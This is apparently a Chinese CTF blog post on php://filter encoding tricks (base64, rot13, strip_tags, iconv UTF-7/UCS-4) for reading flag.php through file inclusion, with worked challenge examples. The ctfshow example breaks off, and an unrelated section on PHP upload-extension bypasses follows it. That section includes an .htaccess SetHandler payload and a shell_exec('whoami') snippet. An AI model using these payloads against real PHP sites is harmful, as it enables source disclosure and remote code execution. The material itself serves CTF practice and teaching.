CTF题型 php filter特殊编码绕过小汇总

文章目录

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的“中间人”,有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流
应用范围/特征关键词
在这里插入图片描述
比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族
  2. string过滤器
  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php
读取后进行解码
在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv…

image-20240328201706030

如何理解结构

convert.iconv…

  • input-encoding

用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

所需的结果编码。 (进行转换的字符集)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.[Newstarctf 2023 week2 include]

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

image-20240328143436756

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

image-20240328201806819

对于小众编码的解码在线网站 https://www.novel.tools/decode/

image-20240328201909257

一样可以得到内容

image-20240328202103745

2.[Ctfshow web 117]

<?php

/\*
# -\*- coding: utf-8 -\*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

\*/
highlight\_file(\_\_FILE\_\_);
error\_reporting(0);
function filter($x){
    if(preg\_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$\_GET['file'];
$contents=$\_POST['contents'];
filter($file);
file\_put\_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

### CTF Web 文件上传 PHP 后缀绕过技巧 在CTF竞赛中,Web文件上传挑战通常涉及绕过后端对文件类型的验证以实现恶意脚本的运行。以下是几种常见且有效的PHP后缀绕过方法: #### 1. 利用大小写敏感性 某些服务器配置可能未严格区分文件扩展名的大写字母与小写字母。例如,在Linux环境下,默认情况下文件名是区分大小写的,但如果目标系统的过滤逻辑忽略了这一点,则可以通过修改文件扩展名为`.Php`、`.pHp`等形式来绕过检测[^5]。 #### 2. 使用双扩展名技术 部分应用程序仅检查最后一个扩展名是否合法(如.jpg),而忽略前面的内容。因此可以构造类似这样的文件名称:`shell.php.jpg` 或 `shell.php;.jpg` 。当这些文件被保存至特定路径并访问时,可能会触发PHP解释器执行其中嵌入的有效载荷[^1]。 #### 3. 修改MIME类型 一些框架不仅依赖于文件名判断合法性,还会依据HTTP请求头中的Content-Type字段决定处理方式。此时可尝试伪造合适的MIME类型提交给服务端,比如设置成image/jpeg却实际传送包含PHP代码的数据流[^4]。 #### 4. 配置特殊文件 利用Apache或其他webserver支持的一些特性文件来进行攻击也是一个不错的选择。例如创建一个user.ini或者.htaccess文件重新定义哪些应该被视为php脚本来解析和运行[^3]。另外还有像Sethandler指令那样强制指定某个资源按php标准对待[^2]。 #### 示例代码片段展示如何构建简单的测试payloads: ```php // Example Payload for .htaccess method <FilesMatch "muma\.jpg$"> SetHandler application/x-httpd-php </FilesMatch> <?php echo shell_exec('whoami'); ?> ``` 上述例子展示了怎样通过自定义规则让图片也能当作php程序被执行起来,并简单演示了一个命令注入样例用于获取当前用户的用户名信息。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值